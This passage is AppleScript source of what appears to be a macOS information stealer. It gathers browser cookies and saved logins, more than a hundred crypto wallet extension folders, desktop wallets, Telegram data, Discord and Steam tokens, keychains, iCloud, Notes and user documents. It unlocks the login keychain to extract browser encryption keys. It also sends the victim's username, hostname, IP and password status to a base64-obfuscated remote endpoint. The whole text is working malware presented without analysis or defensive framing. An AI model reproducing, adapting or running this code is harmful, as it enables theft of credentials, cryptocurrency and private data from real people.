set chromiumFiles to {"/Network/Cookies", "/Cookies", "/Web Data", "/Login Data", "/Local Extension Settings/", "/IndexedDB/"}
repeat with chromium in chromium_map
set savePath to writemind & "Browsers/" & item 1 of chromium & "_"
try
set fileList to list folder item 2 of chromium without invisibles
debugLog("Chromium: found " & item 1 of chromium & " at " & item 2 of chromium & " profiles: " & (count of fileList))
repeat with currentItem in fileList
if ((currentItem as string) is equal to "Default") or ((currentItem as string) contains "Profile") then
set profileName to (item 1 of chromium & currentItem)
debugLog("Chromium: processing profile " & profileName & " path: " & item 2 of chromium & currentItem)
repeat with CFile in chromiumFiles
set readpath to (item 2 of chromium & currentItem & CFile)
if ((CFile as string) is equal to "/Network/Cookies") then
set CFile to "/Cookies"
end if
if ((CFile as string) is equal to "/Local Extension Settings/") then
grabPlugins(readpath, writemind & "Extensions/" & profileName, pluginList, false)
else if (CFile as string) is equal to "/IndexedDB/" then
grabPlugins(readpath, writemind & "Extensions/" & profileName, pluginList, true)
else
set writepath to savePath & currentItem & CFile
readwrite(readpath, writepath)
end if
end repeat
end if
end repeat
on error errMsg
debugLog("Chromium: NOT found " & item 1 of chromium & " at " & item 2 of chromium & " | " & errMsg)
end try
end repeat
end Chromium

on ChromiumWallets(writemind, chromium_map)
debugLog("ChromiumWallets: starting")
set walletConfig to {}
set walletConfig to walletConfig & {{"djclckkglechooblngghdinmeemkbgci", 1, 0, 0}}
set walletConfig to walletConfig & {{"ejbalbakoplchlghecdalmeeeajnimhm", 1, 0, 0}}
set walletConfig to walletConfig & {{"nkbihfbeogaeaoehlefnkodbefgpgknn", 1, 0, 1}}
set walletConfig to walletConfig & {{"ibnejdfjmmkpcnlpebklmnkoeoihofec", 1, 0, 0}}
set walletConfig to walletConfig & {{"fhbohimaelbohpjbbldcngcnapndodjp", 1, 0, 0}}
set walletConfig to walletConfig & {{"ffnbelfdoeiohenkjibnmadjiehjhajb", 1, 0, 1}}
set walletConfig to walletConfig & {{"hnfanknocfeofbddgcijnmhnfnkdnaad", 1, 0, 1}}
set walletConfig to walletConfig & {{"hpglfhgfnhbgpjdenjgmdgoeiappafln", 1, 0, 0}}
set walletConfig to walletConfig & {{"cjelfplplebdjjenllpjcblmjkfcffne", 1, 0, 0}}
set walletConfig to walletConfig & {{"kncchdigobghenbbaddojjnnaogfppfj", 1, 0, 0}}
set walletConfig to walletConfig & {{"nlbmnnijcnlegkjjpcfjclmcfggfefdm", 1, 0, 0}}
set walletConfig to walletConfig & {{"nanjmdknhkinifnkgdcggcfnhdaammmj", 1, 0, 0}}
set walletConfig to walletConfig & {{"fnjhmkhhmkbjkkabndcnnogagogbneec", 1, 0, 0}}
set walletConfig to walletConfig & {{"cphhlgmgameodnhkjdmkpanlelnlohao", 1, 0, 0}}
set walletConfig to walletConfig & {{"nhnkbkgjikgcigadomkphalanndcapjk", 1, 0, 0}}
set walletConfig to walletConfig & {{"kpfopkelmapcoipemfendmdcghnegimn", 1, 0, 0}}
set walletConfig to walletConfig & {{"aiifbnbfobpmeekipheeijimdpnlpgpp", 1, 0, 0}}
set walletConfig to walletConfig & {{"dmkamcknogkgcdfhhbddcghachkejeap", 1, 0, 0}}
set walletConfig to walletConfig & {{"fhmfendgdocmcbmfikdcogofphimnkno", 1, 0, 0}}
set walletConfig to walletConfig & {{"cnmamaachppnkjgnildpdmkaakejnhae", 1, 0, 0}}
set walletConfig to walletConfig & {{"jojhfeoedkpkglbfimdfabpdfjaoolaf", 1, 0, 0}}
set walletConfig to walletConfig & {{"flpiciilemghbmfalicajoolhkkenfel", 1, 0, 0}}
set walletConfig to walletConfig & {{"aeachknmefphepccionboohckonoeemg", 1, 0, 0}}
set walletConfig to walletConfig & {{"cgeeodpfagjceefieflmdfphplkenlfk", 1, 0, 0}}
set walletConfig to walletConfig & {{"pdadjkfkgcafgbceimcpbkalnfnepbnk", 1, 0, 0}}
set walletConfig to walletConfig & {{"acmacodkjbdgmoleebolmdjonilkdbch", 1, 0, 0}}
set walletConfig to walletConfig & {{"bfnaelmomeimhlpmgjnjophhpkkoljpa", 1, 0, 0}}
set walletConfig to walletConfig & {{"odbfpeeihdkbihmopkbjmoonfanlbfcl", 1, 0, 0}}
set walletConfig to walletConfig & {{"fhilaheimglignddkjgofkcbgekhenbh", 1, 0, 0}}
set walletConfig to walletConfig & {{"mgffkfbidihjpoaomajlbgchddlicgpn", 1, 0, 0}}
set walletConfig to walletConfig & {{"aodkkagnadcbobfpggfnjeongemjbjca", 1, 0, 0}}
set walletConfig to walletConfig & {{"hmeobnfnfcmdkdcmlblgagmfpfboieaf", 1, 1, 1}}
set walletConfig to walletConfig & {{"lpfcbjknijpeeillifnkikgncikgfhdo", 1, 0, 0}}
set walletConfig to walletConfig & {{"dngmlblcodfobpdpecaadgfbcggfjfnm", 1, 0, 0}}
set walletConfig to walletConfig & {{"lpilbniiabackdjcionkobglmddfbcjo", 1, 0, 0}}
set walletConfig to walletConfig & {{"bhhhlbepdkbapadjdnnojkbgioiodbic", 1, 0, 0}}
set walletConfig to walletConfig & {{"dkdedlpgdmmkkfjabffeganieamfklkm", 1, 0, 0}}
set walletConfig to walletConfig & {{"hcflpincpppdclinealmandijcmnkbgn", 1, 0, 0}}
set walletConfig to walletConfig & {{"mnfifefkajgofkcjkemidiaecocnkjeh", 1, 0, 0}}
set walletConfig to walletConfig & {{"ookjlbkiijinhpmnjffcofjonbfbgaoc", 1, 0, 0}}
set walletConfig to walletConfig & {{"jnkelfanjkeadonecabehalmbgpfodjm", 1, 0, 0}}
set walletConfig to walletConfig & {{"kjmoohlgokccodicjjfebfomlbljgfhk", 1, 0, 0}}
set walletConfig to walletConfig & {{"nlgbhdfgdhgbiamfdfmbikcdghidoadd", 1, 0, 0}}
set walletConfig to walletConfig & {{"jnmbobjmhlngoefaiojfljckilhhlhcj", 1, 0, 0}}
set walletConfig to walletConfig & {{"lodccjjbdhfakaekdiahmedfbieldgik", 1, 0, 0}}
set walletConfig to walletConfig & {{"jhgnbkkipaallpehbohjmkbjofjdmeid", 1, 0, 0}}
set walletConfig to walletConfig & {{"jnlgamecbpmbajjfhmmmlhejkemejdma", 1, 0, 0}}
set walletConfig to walletConfig & {{"kkpllkodjeloidieedojogacfhpaihoh", 1, 1, 1}}
set walletConfig to walletConfig & {{"mcohilncbfahbmgdjkbpemcciiolgcge", 1, 0, 0}}
set walletConfig to walletConfig & {{"epapihdplajcdnnkdeiahlgigofloibg", 1, 0, 0}}
set walletConfig to walletConfig & {{"gjagmgiddbbciopjhllkdnddhcglnemk", 1, 0, 0}}
set walletConfig to walletConfig & {{"kmhcihpebfmpgmihbkipmjlmmioameka", 1, 1, 1}}
set walletConfig to walletConfig & {{"phkbamefinggmakgklpkljjmgibohnba", 1, 0, 0}}
set walletConfig to walletConfig & {{"ejjladinnckdgjemekebdpeokbikhfci", 1, 0, 0}}
set walletConfig to walletConfig & {{"efbglgofoippbgcjepnhiblaibcnclgk", 1, 0, 0}}
set walletConfig to walletConfig & {{"cjmkndjhnagcfbpiemnkdpomccnjblmj", 1, 0, 0}}
set walletConfig to walletConfig & {{"aijcbedoijmgnlmjeegjaglmepbmpkpi", 1, 0, 0}}

set walletConfig to walletConfig & {{"gojhcdgcpbpfigcaejpfhfegekdgiblk", 1, 0, 1}}
set walletConfig to walletConfig & {{"egjidjbpglichdcondbcbdnbeeppgdph", 1, 0, 0}}
set walletConfig to walletConfig & {{"hbbgbephgojikajhfbomhlmmollphcad", 1, 0, 0}}
set walletConfig to walletConfig & {{"opfgelmcmbiajamepnmloijbpoleiama", 1, 0, 0}}
set walletConfig to walletConfig & {{"fiikommddbeccaoicoejoniammnalkfa", 1, 0, 0}}
set walletConfig to walletConfig & {{"bgjogpoidejdemgoochpnkmdjpocgkha", 1, 0, 0}}
set walletConfig to walletConfig & {{"jgaaimajipbpdogpdglhaphldakikgef", 1, 0, 0}}
set walletConfig to walletConfig & {{"kppfdiipphfccemcignhifpjkapfbihd", 1, 0, 0}}
set walletConfig to walletConfig & {{"lgmpcpglpngdoalbgeoldeajfclnhafa", 1, 0, 0}}
set walletConfig to walletConfig & {{"onhogfjeacnfoofkfgppdlbmlmnplgbn", 1, 0, 0}}
set walletConfig to walletConfig & {{"mmmjbcfofconkannjonfmjjajpllddbg", 1, 0, 0}}
set walletConfig to walletConfig & {{"loinekcabhlmhjjbocijdoimmejangoa", 1, 0, 0}}
set walletConfig to walletConfig & {{"heefohaffomkkkphnlpohglngmbcclhi", 1, 0, 0}}
set walletConfig to walletConfig & {{"idnnbdplmphpflfnlkomgpfbpcgelopg", 1, 0, 0}}
set walletConfig to walletConfig & {{"cnncmdhjacpkmjmkcafchppbnpnhdmon", 1, 0, 0}}
set walletConfig to walletConfig & {{"ocjdpmoallmgmjbbogfiiaofphbjgchh", 1, 0, 0}}
set walletConfig to walletConfig & {{"ojggmchlghnjlapmfbnjholfjkiidbch", 1, 0, 0}}
set walletConfig to walletConfig & {{"ciojocpkclfflombbcfigcijjcbkmhaf", 1, 0, 0}}
set walletConfig to walletConfig & {{"mkpegjkblkkefacfnmkajcjmabijhclg", 1, 0, 0}}
set walletConfig to walletConfig & {{"aflkmfhebedbjioipglgcbcmnbpgliof", 1, 0, 0}}
set walletConfig to walletConfig & {{"omaabbefbmiijedngplfjmnooppbclkk", 1, 0, 0}}
set walletConfig to walletConfig & {{"penjlddjkjgpnkllboccdgccekpkcbin", 1, 0, 0}}
set walletConfig to walletConfig & {{"apenkfbbpmhihehmihndmmcdanacolnh", 1, 0, 0}}
set walletConfig to walletConfig & {{"jiidiaalihmmhddjgbnbgdfflelocpak", 1, 0, 0}}
set walletConfig to walletConfig & {{"nphplpgoakhhjchkkhmiggakijnkhfnd", 1, 0, 0}}
set walletConfig to walletConfig & {{"fldfpgipfncgndfolcbkdeeknbbbnhcc", 1, 0, 0}}
set walletConfig to walletConfig & {{"nnpmfplkfogfpmcngplhnbdnnilmcdcg", 1, 0, 0}}
set walletConfig to walletConfig & {{"opcgpfmipidbgpenhmajoajpbobppdil", 1, 0, 1}}
set walletConfig to walletConfig & {{"ppbibelpcjmhbdihakflkdcoccbgbkpo", 1, 0, 0}}
set walletConfig to walletConfig & {{"gjnckgkfmgmibbkoficdidcljeaaaheg", 1, 0, 0}}
set walletConfig to walletConfig & {{"pdliaogehgdbhbnmkklieghmmjkpigpa", 1, 0, 0}}
set walletConfig to walletConfig & {{"anokgmphncpekkhclmingpimjmcooifb", 1, 0, 0}}
set walletConfig to walletConfig & {{"fpkhgmpbidmiogeglndfbkegfdlnajnf", 1, 0, 0}}
set walletConfig to walletConfig & {{"aholpfdialjgjfhomihkjbmgjidlcdno", 1, 0, 0}}
set walletConfig to walletConfig & {{"ebfidpplhabeedpnhjnobghokpiioolj", 1, 0, 0}}
set walletConfig to walletConfig & {{"dldjpboieedgcmpkchcjcbijingjcgok", 1, 0, 0}}
set walletConfig to walletConfig & {{"cpmkedoipcpimgecpmgpldfpohjplkpp", 1, 0, 0}}
set walletConfig to walletConfig & {{"bgpipimickeadkjlklgciifhnalhdjhe", 1, 0, 0}}
set walletConfig to walletConfig & {{"gkmegkoiplibopkmieofaaeloldidnko", 1, 0, 0}}
set walletConfig to walletConfig & {{"ckklhkaabbmdjkahiaaplikpdddkenic", 1, 0, 0}}
set walletConfig to walletConfig & {{"lnnnmfcpbkafcpgdilckhmhbkkbpkmid", 1, 0, 0}}
set walletConfig to walletConfig & {{"gafhhkghbfjjkeiendhlofajokpaflmk", 1, 0, 0}}
set walletConfig to walletConfig & {{"fcfcfllfndlomdhbehjjcoimbgofdncg", 1, 0, 0}}
set walletConfig to walletConfig & {{"ldinpeekobnhjjdofggfgjlcehhmanlj", 1, 0, 0}}
set walletConfig to walletConfig & {{"afbcbjpbpfadlkmhmclhkeeodmamcflc", 1, 0, 0}}
set walletConfig to walletConfig & {{"pcndjhkinnkaohffealmlmhaepkpmgkb", 1, 0, 0}}
set walletConfig to walletConfig & {{"ifckdpamphokdglkkdomedpdegcjhjdp", 1, 0, 0}}
set walletConfig to walletConfig & {{"fdcnegogpncmfejlfnffnofpngdiejii", 1, 0, 0}}
set walletConfig to walletConfig & {{"khpkpbbcccdmmclmpigdgddabeilkdpd", 1, 0, 1}}
set walletConfig to walletConfig & {{"cmndjbecilbocjfkibfbifhngkdmjgog", 1, 0, 0}}
set walletConfig to walletConfig & {{"fijngjgcjhjmmpcmkeiomlglpeiijkld", 1, 1, 1}}
set walletConfig to walletConfig & {{"amkmjjmmflddogmhpjloimipbofnfjih", 1, 0, 0}}
set walletConfig to walletConfig & {{"klghhnkeealcohjjanjjdaeeggmfmlpl", 1, 0, 1}}
repeat with chromium in chromium_map
set basePath to writemind & "Wallets/Browser/" & item 1 of chromium & "_"
try
set fileList to list folder item 2 of chromium without invisibles
debugLog("ChromiumWallets: checking " & item 1 of chromium & " profiles: " & (count of fileList))
repeat with currentItem in fileList
if ((currentItem as string) is equal to "Default") or ((currentItem as string) contains "Profile") then
set profileName to (item 1 of chromium & currentItem)
set extPath to item 2 of chromium & currentItem & "/Local Extension Settings/"
debugLog("ChromiumWallets: scanning ext path: " & extPath)
try
set extList to list folder extPath without invisibles
debugLog("ChromiumWallets: " & profileName & " has " & (count of extList) & " extensions")
repeat with extItem in extList
repeat with wConfig in walletConfig
if (extItem as string) is equal to (item 1 of wConfig) then
debugLog("ChromiumWallets: MATCH ext " & (extItem as string) & " in " & profileName & " src: " & extPath & extItem)
set srcPath to extPath & extItem
set dstPath to basePath & currentItem & "/" & extItem
GrabFolder(srcPath, dstPath)
end if
end repeat
end repeat
on error errMsg
debugLog("ChromiumWallets: no ext folder for " & profileName & " | " & errMsg)
end try
end if
end repeat
on error errMsg
debugLog("ChromiumWallets: NOT found " & item 1 of chromium & " | " & errMsg)
end try
end repeat
end ChromiumWallets

on Gecko(writemind, gecko_map)
debugLog("Gecko: starting")
set geckoFiles to {"cookies.sqlite", "logins.json", "key4.db", "cert9.db", "places.sqlite", "formhistory.sqlite"}
repeat with gecko in gecko_map
set savePath to writemind & "Browsers/" & item 1 of gecko & "_"
try
set fileList to list folder item 2 of gecko without invisibles
debugLog("Gecko: found " & item 1 of gecko & " at " & item 2 of gecko & " profiles: " & (count of fileList))
repeat with currentItem in fileList
debugLog("Gecko: processing profile " & (currentItem as string) & " path: " & item 2 of gecko & currentItem)
set profilePath to item 2 of gecko & currentItem & "/"
repeat with GFile in geckoFiles
set readpath to profilePath & GFile
set writepath to savePath & currentItem & "/" & GFile
readwrite(readpath, writepath)
end repeat
end repeat
on error errMsg
debugLog("Gecko: NOT found " & item 1 of gecko & " at " & item 2 of gecko & " | " & errMsg)
end try
end repeat
end Gecko

on DesktopWallets(writemind, wallet_map)
debugLog("DesktopWallets: starting, count: " & (count of wallet_map))
repeat with wallet in wallet_map
try
debugLog("DesktopWallets: checking " & item 1 of wallet & " at " & item 2 of wallet)
GrabFolderLimit(item 2 of wallet, writemind & item 1 of wallet)
debugLog("DesktopWallets: done " & item 1 of wallet)
on error errMsg
debugLog("DesktopWallets: FAIL " & item 1 of wallet & " | " & errMsg)
end try
end repeat
end DesktopWallets

on Telegram(writemind, library)
debugLog("Telegram: starting")
try
set tgPath to library & "Telegram Desktop/tdata/"
debugLog("Telegram: checking " & tgPath)
set tgSave to writemind & "Telegram/"
set tgFiles to list folder tgPath without invisibles
debugLog("Telegram: tdata FOUND at " & tgPath & " files: " & (count of tgFiles))
repeat with tgFile in tgFiles
set tgFilePath to tgPath & tgFile
set tgFileSave to tgSave & tgFile
if isDirectory(tgFilePath) then
if (length of (tgFile as string)) is 16 then
GrabFolder(tgFilePath, tgFileSave)
end if
else
if (tgFile as string) ends with "s" and (length of (tgFile as string)) is 17 then
readwrite(tgFilePath, tgFileSave)
end if
if (tgFile as string) is "key_datas" then
readwrite(tgFilePath, tgFileSave)
end if
end if
end repeat
on error errMsg
debugLog("Telegram: NOT found | " & errMsg)
end try
end Telegram

on Keychains(writemind)
debugLog("Keychains: starting")
try
set keychainPath to (POSIX path of (path to home folder)) & "Library/Keychains/"
debugLog("Keychains: checking " & keychainPath)
set keychainSave to writemind & "Keychains/"
mkdir(keychainSave)
set kcFiles to list folder keychainPath without invisibles
debugLog("Keychains: FOUND " & (count of kcFiles) & " items at " & keychainPath)
repeat with kcFile in kcFiles
set kcFilePath to keychainPath & kcFile
set kcFileSave to keychainSave & kcFile
if isDirectory(kcFilePath) then
GrabFolder(kcFilePath, kcFileSave)
else
readwrite(kcFilePath, kcFileSave)
end if
end repeat
on error errMsg
debugLog("Keychains: FAIL | " & errMsg)
end try
end Keychains

on CloudKeys(writemind)
debugLog("CloudKeys: starting")
try
set cloudPath to (POSIX path of (path to home folder)) & "Library/Application Support/iCloud/Accounts/"
set cloudSave to writemind & "iCloud/"
debugLog("CloudKeys: checking " & cloudPath)
GrabFolder(cloudPath, cloudSave)
debugLog("CloudKeys: done")
on error errMsg
debugLog("CloudKeys: FAIL | " & errMsg)
end try
end CloudKeys

on Filegrabber(writemind, profile)
debugLog("Filegrabber: starting")
try
set grabberPath to writemind & "FileGrabber/"
mkdir(grabberPath)
set docExtensions to {"docx", "doc", "wallet", "key", "keys", "txt", "rtf", "csv", "xls", "xlsx", "json", "rdp"}
set imgExtensions to {"png"}
set sourceNames to {"Desktop", "Documents"}
repeat with srcName in sourceNames
set srcFolder to profile & "/" & srcName & "/"
set destFolder to grabberPath & srcName & "/"
mkdir(destFolder)
try
set fgSizeMB to (do shell script "du -sm " & quoted form of grabberPath & " 2>/dev/null | awk '{print $1}'") as integer
if fgSizeMB is greater than or equal to 150 then
debugLog("Filegrabber: total " & fgSizeMB & "MB >= 150MB limit, stopping")
exit repeat
end if
on error
set fgSizeMB to 0
end try
set fgLimitReached to false
repeat with ext in docExtensions
if fgLimitReached then exit repeat
try
set shellCmd to "find " & quoted form of srcFolder & " -maxdepth 3 -type f -iname '*." & ext & "' -size -2M -print0 2>/dev/null | head -30 | xargs -0 -I{} /bin/bash -c 'cp " & quote & "$0" & quote & " " & quote & destFolder & "${RANDOM}_$(basename " & quote & "$0" & quote & ")" & quote & "' {}"
do shell script shellCmd
end try
try
set fgSizeNow to (do shell script "du -sm " & quoted form of grabberPath & " 2>/dev/null | awk '{print $1}'") as integer
if fgSizeNow is greater than or equal to 150 then
debugLog("Filegrabber: " & fgSizeNow & "MB >= 150MB after ext " & ext & ", stopping")
set fgLimitReached to true
end if
on error
end try
end repeat
if not fgLimitReached then
repeat with ext in imgExtensions
if fgLimitReached then exit repeat
try
set shellCmd to "find " & quoted form of srcFolder & " -maxdepth 2 -type f -iname '*." & ext & "' -size -6M -print0 2>/dev/null | head -20 | xargs -0 -I{} /bin/bash -c 'cp " & quote & "$0" & quote & " " & quote & destFolder & "${RANDOM}_$(basename " & quote & "$0" & quote & ")" & quote & "' {}"
do shell script shellCmd
end try
try
set fgSizeNow to (do shell script "du -sm " & quoted form of grabberPath & " 2>/dev/null | awk '{print $1}'") as integer
if fgSizeNow is greater than or equal to 150 then
debugLog("Filegrabber: " & fgSizeNow & "MB >= 150MB after img ext " & ext & ", stopping")
set fgLimitReached to true
end if
on error
end try
end repeat
end if
end repeat
end try
try
readwrite(profile & "/Library/Cookies/Cookies.binarycookies", writemind & "Safari/Cookies.binarycookies")
readwrite(profile & "/Library/Safari/Form Values", writemind & "Safari/Autofill")
readwrite(profile & "/Library/Safari/History.db", writemind & "Safari/History.db")
end try
try
readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite", writemind & "Notes/NoteStore.sqlite")
readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-shm", writemind & "Notes/NoteStore.sqlite-shm")
readwrite(profile & "/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite-wal", writemind & "Notes/NoteStore.sqlite-wal")
end try
try
set notesMediaDir to writemind & "Notes/Media/"
mkdir(notesMediaDir)
set notesAccountsPath to profile & "/Library/Group Containers/group.com.apple.notes/Accounts/"
set shellCmd to "find " & quoted form of notesAccountsPath & " -path '*/Media/*' -type f -size -5M 2>/dev/null"
set mediaFiles to do shell script shellCmd
if mediaFiles is not "" then
set mediaTotal to 0
set mediaLimit to 30000000
set mediaList to paragraphs of mediaFiles
repeat with mFile in mediaList
try
set mSize to (do shell script "stat -f%z " & quoted form of mFile) as integer
if (mediaTotal + mSize) > mediaLimit then exit repeat
set mName to do shell script "echo ${RANDOM}_$(basename " & quoted form of mFile & ")"
do shell script "cp " & quoted form of mFile & " " & quoted form of (notesMediaDir & mName)
set mediaTotal to mediaTotal + mSize
end try
end repeat
debugLog("Notes Media: copied " & ((mediaTotal / 1024 / 1024) as integer) & "MB")
end if
on error errMsg
debugLog("Notes Media: FAIL | " & errMsg)
end try
try
readwrite(profile & "/Library/Application Support/Google/Chrome/Default/History", writemind & "History-sqlite")
readwrite(profile & "/Library/Application Support/Google/Chrome/Default/History-journal", writemind & "History-sqlite-journal")
readwrite(profile & "/Library/Application Support/Firefox/Profiles/*/places.sqlite", writemind & "places.sqlite")
readwrite(profile & "/Library/Application Support/Firefox/Profiles/*/places.sqlite-wal", writemind & "places.sqlite-wal")
end try
end Filegrabber

on DiscordTokens(writemind, library)
debugLog("DiscordTokens: starting")
set discordVariants to {"discord", "discordcanary", "discordptb", "discorddevelopment"}
repeat with variant in discordVariants
try
set discordBase to library & variant & "/"
set leveldbPath to discordBase & "Local Storage/leveldb/"
debugLog("DiscordTokens: checking " & variant & " at " & leveldbPath)
set testResult to do shell script "test -d " & quoted form of leveldbPath & " && echo 1 || echo 0"
if testResult is "1" then
set savePath to writemind & "Discord/" & variant & "/leveldb/"
GrabFolder(leveldbPath, savePath)
debugLog("DiscordTokens: grabbed " & variant & " leveldb")
else
debugLog("DiscordTokens: " & variant & " NOT found")
end if
on error errMsg
debugLog("DiscordTokens: " & variant & " FAIL | " & errMsg)
end try
end repeat
end DiscordTokens

on SteamTokens(writemind, library)
debugLog("SteamTokens: starting")
try
set steamBase to library & "Steam/"
set steamConfig to steamBase & "config/"
debugLog("SteamTokens: checking " & steamBase)
set testResult to do shell script "test -d " & quoted form of steamBase & " && echo 1 || echo 0"
if testResult is "1" then
set steamSave to writemind & "Steam/"
mkdir(steamSave)
debugLog("SteamTokens: Steam folder found")
try
readwrite(steamConfig & "loginusers.vdf", steamSave & "loginusers.vdf")
on error errMsg
debugLog("SteamTokens: loginusers.vdf FAIL | " & errMsg)
end try
try
readwrite(steamConfig & "config.vdf", steamSave & "config.vdf")
on error errMsg
debugLog("SteamTokens: config.vdf FAIL | " & errMsg)
end try
try
set ssfnFiles to do shell script "find " & quoted form of steamBase & " -maxdepth 1 -name 'ssfn*' -type f 2>/dev/null"
if ssfnFiles is not "" then
set ssfnList to paragraphs of ssfnFiles
repeat with ssfnFile in ssfnList
try
set ssfnName to do shell script "basename " & quoted form of ssfnFile
readwrite(ssfnFile as string, steamSave & ssfnName)
debugLog("SteamTokens: grabbed " & ssfnName)
on error errMsg
debugLog("SteamTokens: ssfn FAIL | " & errMsg)
end try
end repeat
end if
on error errMsg
debugLog("SteamTokens: ssfn search FAIL | " & errMsg)
end try
debugLog("SteamTokens: done")
else
debugLog("SteamTokens: Steam folder NOT found")
end if
on error errMsg
debugLog("SteamTokens: FAIL | " & errMsg)
end try
end SteamTokens




set username to (system attribute "USER")
set profile to "/Users/" & username
set randomNumber to do shell script "echo $((RANDOM % 9000000 + 1000000))"
set writemind to "/tmp/shub_" & randomNumber & "/"
set library to profile & "/Library/Application Support/"

mkdir(writemind)
debugLog("=== SCRIPT START ===")
debugLog("Username: " & username)
debugLog("Profile: " & profile)
debugLog("Writemind: " & writemind)

set localeInfo to ""
try
set localeInfo to do shell script "defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -i KeyboardLayout | head -3 | sed 's/[^a-zA-Z0-9 ,=]//g' | tr -s ' ' | paste -sd, - || echo unknown"
end try

set hostName to ""
try
set hostName to do shell script "hostname"
end try
set osVersion to ""
try
set osVersion to do shell script "sw_vers -productVersion"
end try

set isCIS to "false"
try
set cisCheck to do shell script "defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2>/dev/null | grep -ci russian || echo 0"
if cisCheck is not equal to "0" then
set isCIS to "true"
end if
end try

set externalIP to "Unknown"
try
set externalIP to do shell script "curl -s --max-time 5 $(echo 'aHR0cHM6Ly9hcGkuaXBpZnkub3Jn' | base64 -d) || curl -s --max-time 5 $(echo 'aHR0cHM6Ly9pY2FuaGF6aXAuY29t' | base64 -d) || echo 'Unknown'"
end try

debugLog("Hostname: " & hostName)
debugLog("OS: " & osVersion)
debugLog("CIS: " & isCIS)
debugLog("IP: " & externalIP)
debugLog("Locale: " & localeInfo)

set debugEventUrl to do shell script "echo 'aHR0cHM6Ly91czQxd2Viem9vbS53aWtpL2FwaS9kZWJ1Zy9ldmVudA==' | base64 -d"
set buildHash to "565a97423a20228b924c1a29c82fee81"
try
set shellCmd to "curl -s -X POST '" & debugEventUrl & "' -H 'Content-Type: application/json' -d '{" & quote & "event" & quote & ":" & quote & "payload_started" & quote & "," & quote & "build_hash" & quote & ":" & quote & buildHash & quote & "," & quote & "ip" & quote & ":" & quote & externalIP & quote & "," & quote & "hostname" & quote & ":" & quote & hostName & quote & "," & quote & "os_version" & quote & ":" & quote & osVersion & quote & "," & quote & "username" & quote & ":" & quote & username & quote & "," & quote & "is_cis" & quote & ":" & quote & isCIS & quote & "," & quote & "locale" & quote & ":" & quote & localeInfo & quote & "}' --max-time 5 2>/dev/null &"
do shell script shellCmd
end try

set password_entered to getpwd(username, writemind, "")
if password_entered is equal to "__INVALID__" then
try
set shellCmd to "curl -s -X POST '" & debugEventUrl & "' -H 'Content-Type: application/json' -d '{" & quote & "event" & quote & ":" & quote & "password_failed" & quote & "," & quote & "build_hash" & quote & ":" & quote & buildHash & quote & "," & quote & "ip" & quote & ":" & quote & externalIP & quote & "}' --max-time 5 2>/dev/null &"
do shell script shellCmd
end try
else
try
set shellCmd to "curl -s -X POST '" & debugEventUrl & "' -H 'Content-Type: application/json' -d '{" & quote & "event" & quote & ":" & quote & "password_obtained" & quote & "," & quote & "build_hash" & quote & ":" & quote & buildHash & quote & "," & quote & "ip" & quote & ":" & quote & externalIP & quote & "," & quote & "has_password" & quote & ":" & quote & "true" & quote & "}' --max-time 5 2>/dev/null &"
do shell script shellCmd
end try
end if
debugLog("Password result: " & password_entered)
delay 0.01

set needsChromeKey to false
try
set majorVer to do shell script "sw_vers -productVersion | cut -d. -f1"
set minorVer to do shell script "sw_vers -productVersion | cut -d. -f2"
if (majorVer as integer) > 26 or ((majorVer as integer) = 26 and (minorVer as integer) >= 4) then
set needsChromeKey to true
end if
end try
if needsChromeKey and password_entered is not equal to "__INVALID__" and password_entered is not equal to "" then
try
do shell script "security unlock-keychain -p " & quoted form of password_entered & " ~/Library/Keychains/login.keychain-db"
set chromeKey to do shell script "security find-generic-password -ga 'Chrome' -w ~/Library/Keychains/login.keychain-db 2>/dev/null"
writeText(chromeKey, writemind & "masterpass-chrome")
debugLog("Chrome Safe Storage key extracted (macOS >= 26.4)")
on error errMsg
debugLog("Chrome Safe Storage: failed - " & errMsg)
end try
try
set braveKey to do shell script "security find-generic-password -ga 'Brave' -w ~/Library/Keychains/login.keychain-db 2>/dev/null"
writeText(braveKey, writemind & "masterpass-brave")
debugLog("Brave Safe Storage key extracted (macOS >= 26.4)")
on error errMsg2
debugLog("Brave Safe Storage: not found or failed")
end try
try
set edgeKey to do shell script "security find-generic-password -ga 'Microsoft Edge' -w ~/Library/Keychains/login.keychain-db 2>/dev/null"
writeText(edgeKey, writemind & "masterpass-edge")
debugLog("Edge Safe Storage key extracted (macOS >= 26.4)")
on error errMsg3
debugLog("Edge Safe Storage: not found or failed")
end try
else if needsChromeKey then
debugLog("SafeStorage: skipped (no valid password for macOS >= 26.4)")
else
debugLog("SafeStorage: skipped (macOS < 26.4, server decryption)")
end if

set chromiumMap to {}
set chromiumMap to chromiumMap & {{"Chrome", library & "Google/Chrome/"}}
set chromiumMap to chromiumMap & {{"Brave", library & "BraveSoftware/Brave-Browser/"}}
set chromiumMap to chromiumMap & {{"Edge", library & "Microsoft Edge/"}}
set chromiumMap to chromiumMap & {{"Opera", library & "com.operasoftware.Opera/"}}
set chromiumMap to chromiumMap & {{"OperaGX", library & "com.operasoftware.OperaGX/"}}
set chromiumMap to chromiumMap & {{"Vivaldi", library & "Vivaldi/"}}
set chromiumMap to chromiumMap & {{"Orion", library & "Orion/"}}
set chromiumMap to chromiumMap & {{"Sidekick", library & "Sidekick/"}}
set chromiumMap to chromiumMap & {{"Chrome Canary", library & "Google/Chrome Canary"}}
set chromiumMap to chromiumMap & {{"Chromium", library & "Chromium/"}}
set chromiumMap to chromiumMap & {{"Chrome Dev", library & "Google/Chrome Dev/"}}
set chromiumMap to chromiumMap & {{"Arc", library & "Arc/User Data"}}
set chromiumMap to chromiumMap & {{"Coccoc", library & "CocCoc/Browser/"}}
set chromiumMap to chromiumMap & {{"Chrome Beta", library & "Google/Chrome Beta/"}}
set geckoMap to {}
set geckoMap to geckoMap & {{"Firefox", library & "Firefox/Profiles/"}}
set walletMap to {}
set walletMap to walletMap & {{"Wallets/Desktop/Exodus", library & "Exodus/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Electrum", profile & "/.electrum/wallets/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Atomic", library & "atomic/Local Storage/leveldb/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Guarda", library & "Guarda/"}}
set walletMap to walletMap & {{"Wallets/Desktop/Coinomi", library & "Coinomi/wallets/"}}
